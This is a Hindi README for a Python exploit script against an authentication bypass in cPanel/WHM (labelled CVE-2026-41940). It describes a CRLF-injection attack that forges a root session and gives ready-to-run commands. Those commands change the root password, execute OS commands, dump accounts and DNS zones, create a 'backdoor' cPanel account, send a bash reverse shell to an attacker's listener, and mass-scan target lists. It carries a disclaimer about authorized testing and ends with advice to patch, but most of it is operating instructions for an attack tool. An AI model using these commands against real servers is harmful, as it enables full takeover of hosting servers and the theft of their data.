
cPanel/WHM प्रमाणीकरण बायपास (ज़ीरो-डे भेद्यता)
अस्वीकरण: यह दस्तावेज़ और संबद्ध स्क्रिप्ट (
exploit.py) केवल शैक्षिक उद्देश्यों, सुरक्षा अनुसंधान और अधिकृत पेनिट्रेशन परीक्षण के लिए प्रदान की गई हैं। इस सॉफ़्टवेयर का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है।
exploit.py एक स्क्रिप्ट है जो cPanel और WHM में प्रमाणीकरण बायपास भेद्यता (CVE-2026-41940) का प्रदर्शन करती है। यह भेद्यता एक अनधिकृत हमलावर को CRLF इंजेक्शन दोष के माध्यम से डेमन कैश में रूट सत्र (root session) इंजेक्ट करने की अनुमति देती है, जिससे अंततः वैध क्रेडेंशियल की आवश्यकता के बिना रूट-स्तरीय WHM पहुंच प्राप्त होती है।
एक्सप्लॉइट बेसिक प्रमाणीकरण हैंडलिंग तंत्र के भीतर CRLF (कैरिज रिटर्न लाइन फीड) इंजेक्शन भेद्यता का लाभ उठाता है, जो सत्र प्रसार (session propagation) दोष के साथ संयुक्त है। स्क्रिप्ट इस हमले को चार चरणों में स्वचालित करती है:
whostmgrsession) प्राप्त करने के लिए सार्वजनिक लॉगिन एंडपॉइंट्स (जैसे, /login/ या /cgi/login.cgi) से कनेक्ट होता है।cpsrvd सत्र कैश में इंजेक्ट करता है। सर्वर का रीडायरेक्ट प्रतिक्रिया उत्पन्न सुरक्षा टोकन (cpsess) को लीक कर देती है।do_token_denied डेमन कैश में फोर्ज किए गए सत्र का प्रसार करता है — इसे एक वैध प्रमाणित सत्र बना देता है।/json-api/version) तक पहुंचता है।requests लाइब्रेरीpip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| Argument | Description |
|---|---|
--target URL | एकल WHM URL (जैसे, https://target:2087) |
--target-file FILE | टारगेट्स वाली फ़ाइल (प्रति पंक्ति एक ip:port) — स्वतः चेक मोड सक्षम करता है |
| Argument | Description |
|---|---|
--threads N | मल्टी-टारगेट मोड के लिए समवर्ती थ्रेड (डिफ़ॉल्ट: 10) |
--hostname HOST | Host हेडर को ओवरराइड करें — तब उपयोग करें जब ऑटो-डिस्कवरी विफल हो या गलत होस्टनाम दे |
--timeout N | प्रति-अनुरोध टाइमआउट सेकंड में (डिफ़ॉल्ट: 15) |
--retries N | नेटवर्क त्रुटियों पर पुनः प्रयास संख्या (डिफ़ॉल्ट: 3) |
--cookie-name NAME | विशिष्ट सत्र कुकी नाम बलपूर्वक सेट करें (छोड़े जाने पर स्वतः पहचाना जाता है) |
--no-verify | चरण 4 का सत्यापन छोड़ें और फिर भी आगे बढ़ें |
| Argument | Description |
|---|---|
--check | केवल-जांच मोड — बिना एक्सप्लॉइट किए भेद्यता सत्यापित करें (--target-file के साथ स्वतः सेट होता है) |
--password PASS | रूट पासवर्ड को PASS में बदलें |
--api FUNC | एक विशिष्ट WHM JSON-API फ़ंक्शन कॉल करें |
--api-params K=V,... | --api के लिए अल्पविराम-पृथक पैरामीटर |
--exec CMD | WHM scripts/run_script के माध्यम से OS कमांड निष्पादित करें (फ़ॉलबैक: rawexec) |
--session | रूट वन-क्लिक लॉगिन URL उत्पन्न करें — तुरंत खोलें, टोकन तेज़ी से समाप्त होता है |
--shell | इंटरैक्टिव WHM शेल में प्रवेश करें (केवल एकल टारगेट) |
--dump | सर्वर जानकारी डंप करें: संस्करण, खाते, DNS ज़ोन, विशेषाधिकार |
--add-user USER PASS DOMAIN | एक नया cPanel होस्टिंग खाता बनाएँ |
--revshell LHOST LPORT | अपने लिसनर को bash रिवर्स शेल भेजें |
| Argument | Description |
|---|---|
--output FILE | सत्र टोकन और विवरण को JSON फ़ाइल में सहेजें |
# जाँचें कि टारगेट भेद्य है या नहीं
python exploit.py --target https://target:2087 --check
# सर्वर जानकारी डंप करें (संस्करण, खाते, विशेषाधिकार)
python exploit.py --target https://target:2087 --dump
# वन-क्लिक रूट लॉगिन URL उत्पन्न करें (ब्राउज़र में तुरंत पेस्ट करें)
python exploit.py --target https://target:2087 --session
# कमांड निष्पादित करें
python exploit.py --target https://target:2087 --exec "id"
# इंटरैक्टिव WHM शेल में प्रवेश करें
python exploit.py --target https://target:2087 --shell
# रूट पासवर्ड बदलें
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# WHM API को सीधे कॉल करें
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# बैकडोर cPanel खाता बनाएँ
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# रिवर्स शेल भेजें
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# होस्टनाम ओवरराइड करें (जब ऑटो-डिस्कवरी विफल हो तब उपयोग करें)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# कई टारगेट्स स्कैन करें (केवल-जांच मोड)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# सत्र को फ़ाइल में सहेजें
python exploit.py --target https://target:2087 --dump --output results.json
--shell का उपयोग करते समय, निम्नलिखित कमांड उपलब्ध हैं:
| Command | Description |
|---|---|
api <function> [k=v ...] | WHM JSON-API फ़ंक्शन कॉल करें (जैसे, api version) |
exec <command> | WHM के माध्यम से OS कमांड चलाएँ (जैसे, exec id) |
passwd <newpass> | रूट पासवर्ड बदलें |
dump | सर्वर जानकारी डंप करें |
revshell <lhost> <lport> | रिवर्स शेल भेजें |
add <user> <pass> <domain> | cPanel खाता बनाएँ |
save <path> | वर्तमान सत्र को फ़ाइल में सहेजें |
exit / quit | शेल से बाहर निकलें |
नवीनतम cPanel/WHM सुरक्षा पैच तुरंत अपडेट करें।